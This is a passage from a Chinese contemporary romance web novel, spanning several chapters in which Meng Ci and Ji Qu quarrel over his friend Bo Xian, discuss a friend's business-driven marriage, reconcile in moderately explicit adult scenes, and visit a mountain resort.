孟慈意会:“谁的朋友?” 调酒师尴尬一笑,问孟慈还想不想喝点什么,度数低的果酒他也调的不错。 进行到这儿,孟慈心下了然,“苏打水吧谢谢。” 调酒师立马接单,没一会儿就送上一杯粉白渐变的苏打水,“粉色是西柚果汁。” 孟慈接过:“谢谢。” 水果碗还没切好,应侍生便又带着人进来。 孟慈坐在吧台角落侧首去看。 来人穿着裁剪精细的高定大衣,栗色长发打着卷落在胸侧,妆容精致妥帖。 是薄娴到了。 季曲和薄娴是青梅竹马,季曲和李港是发小,那自然薄娴和李港也是铁瓷儿才对。 李港几乎是在看到薄娴的瞬间就站起身迎上去。 即使薄娴满脸嫌弃,也送上了大大的拥抱。 一时间全场的注意都被他们吸引。 下一个应该是季曲吧。 孟慈这么想着,喝了一口苏打水,没来得融合的浓缩果汁太浓厚,酸到孟慈被呛的咳嗽。 手里握着的玻璃杯突然被人接过,然后换上餐巾纸。 孟慈抬头,看到季曲不知道什么时候走到自己身边,拍着自己的后背给自己顺气。 “怎么呛到了?难不难受?” 看着还在询问关心的季曲,孟慈逐渐压下嗓子眼的毛意,缓慢开口:“怎么过来了?” 季曲脸上的酒意不减,不满道:“你好久没过来,我都把筹码赢回来了。” 季曲的手心有些烫,握在孟慈手腕处,像是贴上生姜片。 愣神的瞬间,孟慈心跳经过停拍和加速的循环过程。 说不出情绪突然漫溢,向上蔓延,从略微放大的瞳孔体现出来。 看着这样的孟慈,季曲只是弯着眉眼笑笑,温驯的不像他。 被季曲带回牌桌,孟慈依旧坐在季曲的右手边,旁边是李港,再旁边就是薄娴,李港的女伴识趣下桌。 用不着互相介绍,就像是赌局上萍水相对的赌友,没必要互相知会尊姓大名。 李港分了一半的筹码给薄娴,再次开了牌局。 忽略心头的那些动静。 孟慈只管随意扔大扔小,反正季曲不在意输赢。 “我都听不清你们说话。”薄娴连输三把,有些烦躁。 “唱歌的小声点。”李港头也没回往人群里扔了一句。 音乐声霎时小了一半。 孟慈被打断后多了些记忆,向季曲招招手,示意他附耳过来。 季曲自然俯身。 “唱歌的那姑娘得罪谁了?” “李港的女伴。”季曲扫了一眼便知道孟慈说的是谁,在孟慈耳边轻声解释。 “我好像听赵一辰提过,他们家的艺人?” “好像吧,下午赵一辰送过来的。” 孟慈扭头对上季曲,被他的酒气喷了满脸,加之桌上还有不少烟味,脸色不由自主地变得难看。 季曲喝得再醉也能看出来:“不想玩了?” 孟慈点头:“嗯,什么时候回家?” 季曲看了眼斜对面的薄娴和李港,好像有些为难。 孟慈了然:“玩完手里的就走?” 季曲略微意外:“行啊。” 孟慈给台阶,没理由不下。 薄娴刚来,没必要下人脸面,李港毕竟是男性,直来直往没什么隔夜仇。 但是女生心思细腻,还是得注意些。 “我前段时间出差见到薄叔叔了,瘦了。”李港找了个话题。 “他最近外调,水土不服。”薄娴随意扔了大。 “什么时候回来?”李港跟着扔了大。 “不知道,得问问季曲他哥。”薄娴端起醒好的红酒抿一口。 季曲问孟慈买什么,孟慈说小,季曲便扔了小,“不知道啊,我哥最近也不着家。” “快得了,我姐说前段时间你们还一起吃饭来着。”薄娴说话直接。 “老爷子想小欢了,正好吃了个饭。”季曲没有被揭穿的尴尬。 三个人就这么有一搭没一搭地聊着,牌桌上也没有别人插嘴,就这么形成了一层看不见的薄膜。 韧性大到孟慈刚修过的指甲划上去最多只能留个浅浅印子。 李港突然看向季曲:“安翰今年夏天不是要结婚了?听说在礼幌求的婚,你也去了?” 季曲点头。 李港赢了一把,把筹码收回:“你和他玩的这么近?他们家让他老子败的差不多了。” 季曲给孟慈换了杯热茶:“他比他老子有本事。” 李港没否认。 即使他不在北城混,但消息却灵通。 “确定要结?”薄娴冷不丁开口。 “我听到是这样的,和他那个明星女朋友吧?”李港看向季曲。 孟慈喝着香气馥郁的茉莉花茶,紧绷的神经舒展些。 “真不结啦?”李港没等到季曲回答,连手里的注都停了。 “说不准。”季曲从孟慈手里取回杯子,和孟慈说差不多了,喝太多当心睡不着觉,然后自己把剩余的一口饮尽。 刚刚放松些的神经因为季曲的回答再次紧绷,对上孟慈眼里的疑问,季曲只是小声说回家再解释,然后便草草揭过这章。 薄娴好心给李港解答:“我前两天去季曲他妈那儿听说的,他有个表妹你记得吗?” 李港明显不记得:“哪个表妹?” “反正就是他表妹。”薄娴懒得解释,“和安翰后妈说好了。” 听到这儿,孟慈再也坐不住。 抛开安翰,何冉是她的朋友。 放在腿上的手被季曲握住,一抬头便又对上他那副“稍安勿躁”的模样。 孟慈按下心间的无名火,挥开季曲的手,直起背摆脱季曲的温度,只想赶紧结束这局。 于是她抓着所有筹码,一连五次扔了大。 天不遂人愿,偏偏还是赢得多。 连李港都忍不住说孟慈真是好运气,还张嘴要和孟慈要个筹码沾沾喜气。 孟慈巴不得他都要走,一挥送了一半出去。 薄娴见到着这番动静,干脆从旁边叫了个人来替自己玩。 “别呀,怎么不玩了?”李港看着已经起身的薄娴不解,她明明是才最大的赢家。 “没意思。”薄娴拎着自己的包去了沙发区找朋友聊天。 转眼看了看桌上剩余的人,李港说:“咱们继续?” 季曲看了眼孟慈的后脑勺,也说自己就也不玩了,准备领着孟慈回家。 却不想坐在椅子上的孟慈动都不动。 季曲拿起孟慈的外套,一手扶着棋牌桌弯下腰,看着还在摆弄筹码的孟慈轻声道:“走吗?咱们回家。” “不玩了?”孟慈眼皮都没抬,机械地把手里的筹码摞在一起,然后又分开。 季曲今晚着实喝得多了些,少了点眼力劲,轻声问:“还想玩?再玩一会儿也行……” 孟慈神色恹恹:“算了。” 打断季曲,孟慈起身拿过季曲臂弯里的外套,和李港打了招呼便头也不回地出了门。 季曲和场上的人点头示意,也跟着孟慈的脚步离开。 李港看着两人远去的背影不免奇怪,转头找上薄娴。 “你看你,我好不容易回来一次,咱们三个刚凑到一起玩玩,你一点面子都不给。” 薄娴满脸无辜:“我不给面子?” 似乎刚刚是孟慈先搞出一副破罐子破摔的样子,不看结果不看牌,一个劲儿的扔大。 李港转念一想,似乎有些不对,“你俩……” 在薄娴旁边的沙发上坐下,顺手抓了把瓜子,颇有一副村口管闲事老大娘的派势。 “谁俩?”薄娴要了半把瓜子走。 李港不情不愿地递出去,说自然是她和季曲的女朋友。 “女朋友?”薄娴仿佛听到了什么有趣的事,兴致都高了些,“季曲自己说的?” “不然我梦到的?”李港嘴贫,从小因为这张嘴没少招打,第一个把季曲和薄娴联系起来的人也是他,当时每每提到就要把薄娴招哭,季曲就追着他满大院的打。 薄娴吐了瓜子皮,不紧不慢地说:“没什么关系,之前季曲不是宝贝的紧,我也就见过一两次,话都没说过。” 李港不信:“真话?” 毕竟之前季曲身边的桃花不少都折在薄娴手里。 要么是长得不好看,要么是性格不合适。 最荒唐的一次是对方和薄娴背的包撞了款。 小时候性子浮躁,薄娴自己也知道。 可能是不想背锅,场子上这么多人没准哪天又传出去自己欺负季曲的女朋友。 薄娴掀了掀眼皮,不耐烦道:“我什么都没做过,他谈恋爱关我什么事,我又不是他妈,爱谈谁谈谁。” 李港见好就收,那估计是因为季曲没哄好人,反正离过年还有几天,再约就得了,便也放过这个话题,一把勾住薄娴的脖子说不醉不归…… 孟慈走得快,外套都没穿好就要出门,还没等接触到室外的寒气就一把被后方的季曲拉住。 “好歹把衣服穿好再跑呗祖宗。”季曲像是在给商场的假人模特穿衣服,得不到一点配合。 一早季曲就知道见到薄娴,孟慈的心里肯定不痛快。 但是要是两个人在一起,这是以后避不开的事。 “谈恋爱见见对方的朋友不是很正常的事?”季曲还是选择开口,探探孟慈的底。 “没这个必要。”孟慈流露出的烦躁越积越多,最终都攒在眉间,打成死结。 季曲伸手去解,还没等碰到孟慈就被躲闪开,孟慈转身出门。 司机得到消息有些延迟,还在从停车场过来的路上。 会所门口仅打着两盏照明灯,分别两只不甚标准的圆落在地面,灰尘粒子在光柱中漂浮,像最小的雪花。 孟慈站在阴暗处,只留给季曲孤直的脊背,驼色大衣上雪白的一截脖颈,是唯一亮色。 忽的又有客至,看样子和季曲认识。 孟慈偏偏身子,将脸彻底藏在黑暗中。 “季总?好久不见。” “吴总。” 借着白灰砖石上的倒影,孟慈看到两方似乎握了握手。 可能是看到孟慈,毕竟这么大一个人站在旁边,根本做不到视而不见。 背后的目光灼烫,孟慈顿顿,还是转了身。 季曲将一步之遥的人拉回光亮,揽到怀里,自然道:“孟慈,您应该见过的。” 对方饶是没见过也不敢下季曲的面子,只是笑着说“般配适合”诸如此类的词。 孟慈勾唇点头,就算是打过招呼了。 简单寒暄后,室外又只剩下孟慈和季曲。 孟慈挣开季曲的胳膊,又恢复之前的模样。 身后的呼吸沉重,过了几秒,传来一声短叹,孟慈的眼前出现一只手机。 “我以后不见她肯定是不可能的事,但是我能保证,只是公事。”季曲的手指停在删除键上,等孟慈做选择。 孟慈眸光闪烁:“算了吧,你们什么关系,我怎么敢拦着,我说不玩了你得考虑大家的面子,人家不玩了你什么都不敢说。” 听出几分不满情绪,总比不说话强。 季曲向前挪了一小步,胸膛靠上孟慈的后背,似是相拥。 “我总不好给人家女孩子下脸子,那咱们以后都听你的,你陪着我,你怎么说我怎么做?” “我很忙,没时间跟着你混。” 季曲更进一尺,圈出孟慈的腰,暗暗施力把人往自己怀里拢,“我们孟总自然是忙的,项目做的还顺心吗?等过起年来再给你介绍点新项目?” 季曲不知道孟慈会拒绝什么,但是知道有的东西孟慈一定不会拒绝。 比如利益,比如金钱。 孟慈看着自己的高跟鞋尖,踮起脚碾了碾地上的碎石子,问:“硅晶的?” 季曲知道这一招打到了点上,言语间多了几分得意:“叶片的,你最近不是感兴趣。” 孟慈点头,随后往季曲的怀里小幅度地缩了缩。 最近过了三九,寒气从薄薄的羊皮鞋底往上钻,冷得站不住。 喝了白酒再加上风一吹。 季曲冷不丁地有些晕,把下巴搁在孟慈头顶小小的发旋处,清冽的栀子香铺了满鼻。 平常身边太嘈杂繁复,倒是也向往清净时刻。 在只剩风声的深夜,孟慈靠在宽阔温暖的胸膛里,暂时恢复平静。 第32章 第32章终于梦寐以求 对于薄娴,孟慈并没有深入接触过。 当然,也没必要。 孟擎的手术和她有牵扯是真的。 但是术前院方已经做出风险解释,更遑论孟慈也是花了大价钱找了许多关系才走到换肾这个地步。 术后的排异反应,是意外,也并不意外。 事后,孟慈还是找到了当时缺席的专家,直白地问如果换一个肾源,换一位大夫,是不是就能替爸爸多续几个月的命。 专家也否认地干脆。 他告诉孟慈,为孟擎操刀的甚至是他的同门师兄。 只不过他的师兄不屑于名利金钱,才有了他出名腾达的机会。 再说回肾源。 换上陌生人的器官,谁都没法保证百分百的适配,数据只是冷冰冰的指标评估,但是每个人的身体都有不同。 因此,这就是孟擎的命数。 薄娴失去小叔不好过,孟慈失去父亲更是悲痛。 但是,总不能因为这次就困在原地停滞不前,把这些留在偶尔来的阴雨季节再发作。 孟慈早就调节好自己的心态。 话又说回来,直面当事人,每个人的阴暗心思都会作祟。 毕竟怪罪别人比怪罪自己容易太多。 想到这儿,孟慈的阴雨季节提前来临。 不大不小的乌云,缓慢地在空中盘积,汇聚在孟慈头顶,挡住光亮,雷声轰鸣。 孟慈的心脏上,下起冬日不该有的骤雨。 但是季曲可能一辈子都淋不到孟慈心间的那场雨。 这不怪他。 “孟慈。”季曲的声音从头顶传来,“不知道你在想什么,可能在骂我,也可能在诅咒我,或者压根就没有我。” 孟慈轻啧,倒是又把姿态放得十分百分的低。 季曲在腰间环着的手臂又紧了紧,有些影响到她的呼吸。 “但是孟慈,不管你怎么想,怎么做,我真的爱你。”季曲的语调像是古琴上第一根的弦音低频颤抖,悠久漫长地在孟慈耳边盘旋,越过大脑,直抵心脏。 孟慈在季曲的怀中转身,抬头时鼻尖蹭过季曲的下巴,扎扎的,不过半晚的放纵,就冒出些青色的胡茬。 望了季曲一会儿,就像抬头望着残如弯刀的月亮,四周包围着一圈浊气,扰乱清明。 其实近在咫尺的两个人,都心知肚明。 要不是爱,孟慈不会第二次踏入水流湍急的大河。 在还无法确定季曲的爱有几分真切时。 但是季曲偏偏装作不知道。 非要逼孟慈直白无他地告诉季曲, 她也心动如蝴蝶振翅,如春水惊雷。 然后变成季曲拿捏自己的筹码。 在回家的车上,季曲时不时地挑个话题,但是孟慈不接茬,只是低着头摆弄自己指根处的戒指。 一来二去的,季曲自然也跟着闭了嘴。 还好司机有眼力见,没问目的地是哪儿,直接把两人送到了季曲家。 下车后看着四周不算熟悉的景色,孟慈回头睨了季曲一眼。 “这么晚别折腾司机了,对付一晚上?”季曲推着孟慈进门。 对客厅和沙发还有些阴影。 孟慈想也没想直接上了二楼,季曲早就准备好一应生活物品。 洗完澡从衣柜里随意拿了件丝质睡裙,触感光滑。 孟慈走出来没在卧室看到季曲。 “再让法务过一下工程请款报告,飞地那边让何志再找一家造价,这家手里不太干净,另外准备一份新婚礼物吧。”季曲又在忙。 不知道孟慈在书房门口站了多久。 季曲发现的时候她正靠在门框上,穿着自己挑的睡裙,妆容卸的干净,但依旧好颜色。 她走到书桌前,抱臂问:“安翰和何冉到底怎么回事?” 季曲知道孟慈今晚一定要问明白这件事,沉思一会儿,斟酌开口:“安家不同意,还是想让他和季芷结婚。” “之前不是都看好日子了。”孟慈对这些豪门轶事不感兴趣,她多问一嘴的原因也只是因为何冉的缘故。 季曲站起来,拉着孟慈到一边的沙发上坐下,顺便调高屋里的空调温度,“缓兵之计。” “这有什么可缓的?” “安东升手里的一个项目出了包,和人家合作投资了海外的什么新生物技术,结果被骗了,公司财务出了窟窿,需要贷款填补。” 孟慈不解:“老子没钱儿子就能有钱?” 屋子里的温度上的很快,对于孟慈来说刚好,但对季曲来说就有点热了。 他的额角渗出细汗,三两步走到窗户边压了条缝,冲着自己,避开孟慈。 季曲点了根烟,解乏用,“安翰和银行的那帮人常打交道,贷款周转审批更快,安东升近几年投资频频失误,银行大多不给他面子。” “最近钱批下来了,安翰没了筹码,自然被拿捏。” 孟慈靠着椅背,在空气嗅到极淡的烟草味,“何冉怎么办?” 季曲抽得快,五官隐在青色烟雾里不太真切, 但是莫名的,孟慈品出一种洞若观火的意味,和他的居高临下混杂在一起。 “你不是也说了?老子没钱,儿子能有钱到哪里去?”季曲碾灭烟蒂,靠在窗边吹风散味,夜风掀开他的额前的发,也吹散缭绕的雾,“何冉和周行有些交情,她替安家做的担保。” 孟慈有些迷惑,既然这样,安家不更应该敲锣打鼓地把何冉娶进门。 季曲继续解答:“安家早就在走下坡路了,金絮其外,安翰一个人无力翻转。” 孟慈:“安翰知道吗?” “安家不行的事还是何冉担保的事?” 季曲散完味道,又坐回孟慈身边,缓缓地往孟慈腿上靠,直至侧脸贴上光滑布料,他今晚真的有些累。 孟慈低头,看已经阖上眼的季曲,他眼下不知道什么时候竟也泛了些青。 伸手环抱住孟慈不堪一握的腰,季曲把自己埋进孟慈柔软温暖的小腹处,满是她的味道。 “安翰近一年往海外转移了些资产,何冉是私下找的人,合同签字盖章之后,安翰才知道。” “我还是不懂。”孟慈突然发觉自己没有任何做生意的天赋潜力,季曲话说得已经够白,换做其他人,也许早就听懂其间的弯绕。 季曲的脸依旧埋着,声音有些闷。 “何冉几乎压了全部身家进去,一损俱损,为了何冉,安翰只能接受季芷。” “就不能一荣俱荣?” 孟慈的声音在头顶盘旋,季曲终于舍得抬头。 他躺在孟慈的腿上,从低位仰视孟慈,经过烟酒淬染的嗓音沙哑。 “很难,不是季芷也会有别人,而且安家不止一个安翰,一大帮人都得活命,现在值得庆幸的是,季芷乐意,季家也有能力给安家兜底。” 冷不丁的,孟慈想到何冉很久之前说的那句。 她没想过和安翰走到最后。 孟慈的眼底突然浮现几丝伤悲, 季曲抬手触碰到她,指腹沿着下巴,脸颊,颧骨游走。 然后在微微颤抖的眼皮停下。 “所以慈慈。”季曲的嗓音被酒浸的沙哑,“你之前问我,爱廉价吗?现在我能回答你,何冉的爱不廉价,季芷的爱更是昂贵,至于安翰,他的爱必须廉价。” 孟慈闭上眼,感受季曲温热的指腹在自己的眼皮上轻轻摩挲,他的手腕时不时地擦过自己的嘴唇,皮肤下的脉搏跳动有力。 “害怕?”季曲察觉到孟慈的身体在抖,终于舍得坐直身子。 “没有。”孟慈睁开眼,看着正前方的季曲。 季曲观察了孟慈一会儿,似乎在确认她是不是说谎。 良久,孟慈的眼皮被季曲吻住,干燥的唇有些温热。 他轻声说:“没事的慈慈,我们总不会走到那一步。” 窗户的缝隙依旧在往室内输送凉意, 冬的寒,夜的黑,树的枯,死气沉沉。 季曲刚刚忘了关窗。 冷热交杂间,孟慈不由得昏了头,窝在季曲早就打褶萎靡的衬衣里,昏昏沉沉地说了句我爱你。 卧室的灯关着,窗帘半阖,银光倾泻。 深灰色的床单打了褶,造价高昂的蚕丝被早就被扔到床尾的某个角落。 孟慈身上的那件丝质睡裙也安静地躺在不远处,和季曲身上那件衬衣乱糟糟地叠在一起,像是作废的文件被揉成纸团。 季曲极有耐心。 一方面怕孟慈抗拒,一方面指尖的束缚感确实叫他难以继续动作。 最近总是下雪, 卧室窗外有一棵白玉兰,听说是皇家园林里的那棵分支而来。 积雪厚厚一层挂在枯枝上方,白茫茫一树,倒有几分形似暮春三四月的馨香花海。 今夜似是回温。 最顶端的雪竟然有些融化,先是晕开,然后便滴滴答答地往下落,顺着冰凉的枝节,颤巍巍地缠绕着流,化在干燥的地面,晕成春日湖面的圈圈涟漪,滴滴珍贵。 季曲的唇落在孟慈的眼睛,鼻尖 ,嘴唇,下巴。 哪儿哪儿都染上他的味道。 直到孟慈仰起脖颈颤抖,季曲才握着她腰胯沉/身,暖意融融。 “……你先等一下。”孟慈突然紧绷,抓在季曲后背的十指猛地收紧,甚至刺进肌肤,“季曲…等一下……” 看着孟慈像是感知到危险的刺猬,止不住地蜷缩。 季曲笑了。 即使他也被逼出一身细汗。 他真的没再动,温柔地附在孟慈耳边哄,手掌穿过皮肤和织物的缝隙把人捞进怀里,一下下地刮孟慈后背上凸起的骨节。 雪很轻,如鸿毛,水却重,似万钧。 羸弱的细枝渗进湿意,触及到内里,终于软绵。 吻掉孟慈额间渗出的一层薄汗,看清她迷离意乱的双眸,盛上情动的红。 季曲终于梦寐以求。 重逢后的第一面,季曲就在心里暗想,孟慈身上那件廉价的礼服,一点都不衬她。 就像枯萎的花茎,该被褪下。 室内的温度高到不需要空调调控,毫不遮掩的溢出去的热,加速了冬天的进程。 雪变成了雨,哗啦落地,融进泥土。 生机勃勃的春,在枯萎一冬后,注入水源滋养,终于慢慢生根。 第33章 第33章鼻梁上泛着微弱的光…… 第二天睡醒,孟慈下床时双腿一软,差点跪倒在长绒地毯上,坐在床边缓了缓。 她觉得自己真是有先见之明。 季曲就是只狗。 床头放着水杯,孟慈伸手探探,还是温的,拿起来喝了几口,甜甜的蜂蜜润过嗓子,缓解不少干涩。 季曲依旧在书房。 他穿了件黑色针织衫,高挺的鼻梁上架着金丝框眼镜,头发保持自然模样,少了精明多了闲适。 看到孟慈,季曲立马从书桌前起身走到孟慈身边,手也自觉地放到腰侧,慢慢地揉。 “吃点什么?”季曲一副餍足模样,不忘在孟慈的脸颊上啄吻一下,“吃点羊肉暖暖?还是小炒?清淡点的吃到胃里也舒服。” “都可以。”孟慈没什么胃口,只不过张嘴时的音调哑到她以为房间里还有第三个人。 季曲先是一愣,继而看着一脸不可置信地双手反握着自己脖子的孟慈畅快地笑了出声。 “不准笑。”孟慈伸手去捂季曲的嘴,还没等碰到就被季曲抱到怀里。 “对不起我的错。”季曲捉住孟慈的手放在嘴边吻了吻,眸光一闪,话语间染上风流,“下次我多注意,不然去了医院都没法和医生解释。” 季曲的眼神毫不掩饰地往孟慈的各处瞟,带着侵略。 孟慈胸前的红印最多,像是宣纸上甩出的红梅点点,更别提布料遮掩下的地方。 狼狈又香/艳。 眼看着季曲又要纵火,青天白日的,窗帘都没拉。在被抵在门板上亲的同时,孟慈咬了季曲的舌尖。 “你要不要脸……”孟慈的话说了就像没说一样,音量微乎其微。 “不在这儿?”季曲充耳不闻,自顾自地找福利,“那咱们换个地。” 对上孟慈这种性子,主动才能有好果子吃。 实木桌上的文件电脑通通被扫到一边,换上孟慈。 光裸的皮肤在接触到桌面时不免被冰,孟慈反射似的往季曲怀里躲,季曲反手附在桌面上试试,是有些凉。 捞起办公椅背上的羊绒开衫草草地铺在桌面,再让孟慈躺。 “再试试宝宝,不凉了。” 孟慈从不乖乖就范,双腿踢躲间被季曲轻而易举地握住脚腕分开,再用比自己大不知道多少倍的力道环到他精/壮的腰身两侧。 体力跟不上趟,只能靠脑子。 转眼间孟慈就换上委委屈屈的脸,一双眼巴眨巴眨地看着季曲,哑着嗓子喊痛喊不舒服。 “那我给你揉揉?”季曲的上半身俯下,整个覆盖住孟慈,拦住正午的光,给她独投下一片昏暗。 长度适中的睡裙边角很好地保护着不该暴露的地方,只有一边的肩带抵不住连续的冲撞,从孟慈的肩膀处脱落,失守于季曲。 孟慈眼尾噙泪,红红的一片。 她又哑着喊先等一下,双手被季曲置于发顶,再也无法在他的身上抓挠宣泄,十指只能紧紧地彼此纠缠。 人在晚上会不自觉地变成情绪动物,到了白天才又披上理智的外衣。 在日头最盛的午间,季曲变得不近人情,尤其在书房,他习惯的办公场所,更是摆出他常见的商人模样,为了几毫利息,争得头皮血流也乐意。 低头衔住还在喋喋不休地求饶的唇瓣,季曲没给孟慈适应的时间,用要逼/死人的力道,晃动了斑驳日光。 光影摇曳,太阳往西头悄摸地移了三五度。 事后,季曲用毛毯包裹着还在颤抖的孟慈坐回转椅,拍孟慈的后背等着她缓劲,用食指撩开糊在脸侧的发,不知是薄汗还是眼泪粘在指腹,看着闭着眼深深地埋在自己怀里的孟慈,季曲的心软成一滩水,在暖融日光下寒冰化成的水。 没忍住,季曲又往孟慈脸上亲,在接触到的瞬间,孟慈反射似的睁开眼四处闪躲。 对上孟慈略显惊慌的眼,季曲才连忙哄说就是亲亲,不干别的什么。 季曲不知道什么时候摘了眼镜,托槽压着的鼻梁两侧留下浅浅的印。 在光线折射下,他的鼻梁有些泛光。 记忆中的画面不停命令地闪回,只记得刚刚,自己喊了句好冰,身体止不住地缩瑟。 孟慈的脸慢慢红了。 察觉到孟慈的目光停留在自己鼻梁上,季曲了然似的笑笑:“怎么脸还红了?想到什么?喜欢还是不喜欢?” 一连串的诨话从季曲的唇间跑出来争先抢后地往孟慈耳朵里钻,孟慈又像个鹌鹑一样一头扎在季曲怀里。 季曲偏偏不要脸地往上凑:“应该是喜欢吧?毕竟水……” 孟慈着急伸手掐季曲腰侧的软肉,耳边传来吃痛的吸气声,接着是闷闷的笑:“好好好,不说了……” 挥都挥不开,烦得不得了。 最终还是没吃到季曲推荐的东西,因为这些店都在市里。 季曲根本不放孟慈出门,只把人绑在身边,没事干有事干的都要亲两下才舒服,搞得孟慈感觉自己浑身上下都是季曲的口水味,恨不得找胶带把季曲的嘴粘上才好- 临近过年,孟慈回公司当了一次散财童子。 拉着黄景峰和方萤包了几百个红包,挨个地散出去,也算是辛苦大家一年的辛勤付出。 方萤捏着红包厚度,问孟慈是不是中彩票了。 “这就俗了吧?孟慈挣的不比彩票多?”黄景峰的手笨,红包也包的慢,手边只垒了一小沓。 孟慈又拆了一沓新钱,看了看剩余的,又想起自己一会儿还有安排,便让方萤再去叫些帮手进来。 “一会儿干嘛去?”黄景峰是个人精,一眼就看出来孟慈有些急。 孟慈也不藏着掖着:“季曲的朋友回来了,叫我们去山里玩。” 黄景峰:“陈家那位?” 孟慈:“嗯,一年也见不了几次。” 手里的活逐渐熟练,两个人一边聊天一边做,也不算枯燥。 聊到一半,孟慈突然想到何冉和安翰的事。 “安家的事听说了吗?”孟慈问的委婉,毕竟事事都有变数。 黄景峰又包好一个,手边也逐渐垒起小山,“你说哪件?” 怎么和季曲说话一个德行,孟慈撑开红包数了十张塞进去,“你知道哪件?” “我都知道。”黄景峰笑笑。 把红包口撑的更大,孟慈又塞了十张,然后封口塞到黄景峰的西服口袋,笑眯眯地看着他,“黄总也辛苦了。” 把红包往口袋底部按了按,黄景峰才故作姿态地清清嗓子开口:“安东升投资失败整了个大窟窿,安翰想填,但是有心无力,何冉倒是有心有力,私下帮衬了一把,目前看来应该是过了难关。” 孟慈追问:“那安翰的婚事?” 黄景峰意外似的挑眉:“孟总,季家的事我们可打听不出来,您应该清楚啊?” 孟慈还 想问,方萤那边已经带着人推门进来,两人对视一眼只能作罢。 有了帮手,不到一个小时活几句干完了。 孟慈和黄景峰带着红包一层楼一层楼的发,吉祥话说得孟慈嘴皮子都疼,好在大家开心,也算值得。 季曲已经到了,黄景峰说要和季曲打个招呼,便和孟慈一起下楼。 重复动作做的太多,孟慈按揉指根,已经开始酸痛。 “估计吃不到大明星的喜酒喽。”黄景峰似是无意的提了一句。 “这么肯定?”孟慈停止动作,看向黄景峰。 电梯也到了,黄景峰绅士地按住电梯门,做了手势,请孟慈先行。 “所以我说的是估计。” 这个结果,是大多数人对目前情况的推断。 孟慈先上车,季曲和黄景峰在外面说了三两分,也可能更久,不过孟慈注意力不在他们身上,也因此无法做出判断。 上车后,季曲看到孟慈抱着手机,页面停留在安娜的聊天页。 季曲握住孟慈的左手,在她掌心轻轻划了划:“想知道什么?” 孟慈被唤回神:“嗯?” 季曲重复道:“想知道什么问我就行。” “没什么。”孟慈收回手机放到一旁,“包了好多红包,手指都发酸。” 季曲了然似的给孟慈做手部按摩:“没给我包一个?” “你又不是我的员工,没给我挣钱,也没为我劳动。” “我还没为你劳动?”季曲装作吃惊,“我都怕我辛苦的哪天死在你身……唔……” 孟慈透过后视镜看了眼前排的司机,一如既往的闭耳塞听,这才放心地转回头看着被自己捂住嘴的季曲:“你再瞎说我就不搬了。” 好不容易才说动孟慈进入同居生活,季曲可不想功亏一篑,只能连忙点头,还装模作样地伸出三根手指,似要发誓。 孟慈信也不信,季曲不信神佛,只是敬之尊之。 “李港的庄子还远。”季曲把孟慈的头揽到自己肩膀,又用毛毯盖在孟慈的腿上,“睡吧,到了叫你。” 上午十点才起床,现下也才四点过一刻,季曲是把自己当猪养。 这么想着,孟慈懒得反驳,与其和季曲再多说废话,不如自己静悄悄地待着。 但是路程确实远,再加上司机师傅的开车技术好,季曲还时不时地在自己身上像哄小孩一样地拍,一晃神,孟慈倒真的困了,再睁眼的时候,已经进了山庄。 说是山庄,其实就是联排的别墅区,建造时多用了几分心思,吃喝玩乐的娱乐设施应有尽有。 往小了说棋牌室、唱歌房、台球桌都是必备。 往大了瞅马场、营地、高尔夫球场也都拿得出手。 夜幕低垂,一伙人在室外架起了烧烤摊。 第一波菜品快熟的时候,季曲才拉着孟慈的手慢悠悠地走进去。 “得儿,闻着肉味来的?”李港远远地就看到两人,等到了跟前才放下手中的烤全羊起来打招呼。 “转行了?”季曲闻闻,“烤的还挺香,给你盘店咱们做餐饮得了,流水大门槛低。” 李港笑着说行啊,每天烤一只羊专供季曲用。 两个人斗完嘴,李港的眼睛才转到孟慈身上。 “弟妹也来啦?冷不冷啊穿这么点?山里头晚上可凉,不比那城市里。”李港看着穿了件风衣外套的孟慈不免替她打寒战。 孟慈自然笑着回应,李港说不过也不打紧,一会儿吃点肉喝点酒,什么寒冰体质也能暖过来。 期间大师傅提醒烤全羊该翻个面了,李港应了一声,连忙走到炉子旁操作。 “还真要转行啊?”季曲从一旁倒了杯热茶递给孟慈暖手,是鲜亮的玫瑰花茶。 “这只羊可是我去羊场亲自挑的,从脱毛到穿肠,让你尝尝我的手艺。”李港站在火炉前,信誓旦旦地说自己的手艺可是难得一见的好。 季曲笑笑,烟火味太呛,他拉着孟慈坐在一旁观看,懒得自己动手。 就在李港正自信满满地展示自己的撒料手法时旁边多了一个女生,她拿着毛巾温柔地粘掉李港流落的汗。 回忆了几秒,孟慈得到了相关信息。 她靠在季曲耳边:“这不是上次唱歌的那位?” 季曲用手梳理好孟慈被吹乱的发丝,从自己的手腕上取下皮筋一圈圈地扎好,“好记性啊慈慈。” “她怎么……”脱口而出几个字,孟慈便又住了嘴。 “怎么?”季曲摸摸孟慈的头,手滑到肩膀把人拢进怀里。 孟慈摇头:“没怎么。” 不就是情情爱爱的那些弯绕。 你方唱罢我登场,演员总得有谢幕的时候,台上的主角,谁有本事和谁上。 烤全羊快要出炉,季曲被李港叫走,说是非要让季曲看看色泽,季曲无奈,和孟慈说自己一会儿就回来。 “我又不是小孩子。”孟慈摆手催季曲离开。 男人们说好哄也好哄,一只烤全羊而已,都比不得他们身上最便宜的一件物品,偏偏一个个乐得像小孩儿一样。 孟慈坐在原位,换了杯热茶。 “你好,我是邓姚,之前那晚谢谢你。”李港的女伴不知道什么时候过来的,她坐在孟慈对面的椅子上,笑意盈盈,“要不然我嗓子该废了。” 孟慈笑笑:“我没做什么,他只是差个台阶。” 这句话意有所指太过明显,两人同时看向烟雾缭绕中的李港。 “赌大小的时候他分心几次,不是你错了词,就是乱了调,他的心思根本不在牌桌上。”孟慈扒了只砂糖橘,满盈的汁水溅了满手。 邓姚见状递来湿巾:“你怎么知道?” 孟慈道谢接过,擦净粘腻的汁水,抬眸看向邓姚略疑惑的眼,缓缓道:“因为我的心思也不在牌桌上。” 第34章 第34章烙下滚烫的吻 那边的烤全羊差不多好了,香气四溢,李港拿着小刀说要让季曲先割第一口。 季曲略意外:“这么客气?” 李港指着刺啦冒油的羊背,说季曲多想了,赶紧先吃一口,旁边那么多人等着呢,偏偏季曲还不动手。 等得着急,李港干脆自己上手片了一块,直接送到季曲嘴边。 “我亲自喂你。”李港事出反常。 季曲伸手挡住,挑眉看着李港,耐心等待。 终于李港先败下阵,把手里的羊肉放到小碟子里,取了两杯酒揽着季曲往人群外走了几步。 这是有私事,大家都看得出来,纷纷避让留出空间。 “也不是什么大事。”李港揽着季曲的脖子,“你记得我奶奶有个贼喜欢的小徒弟吗?” 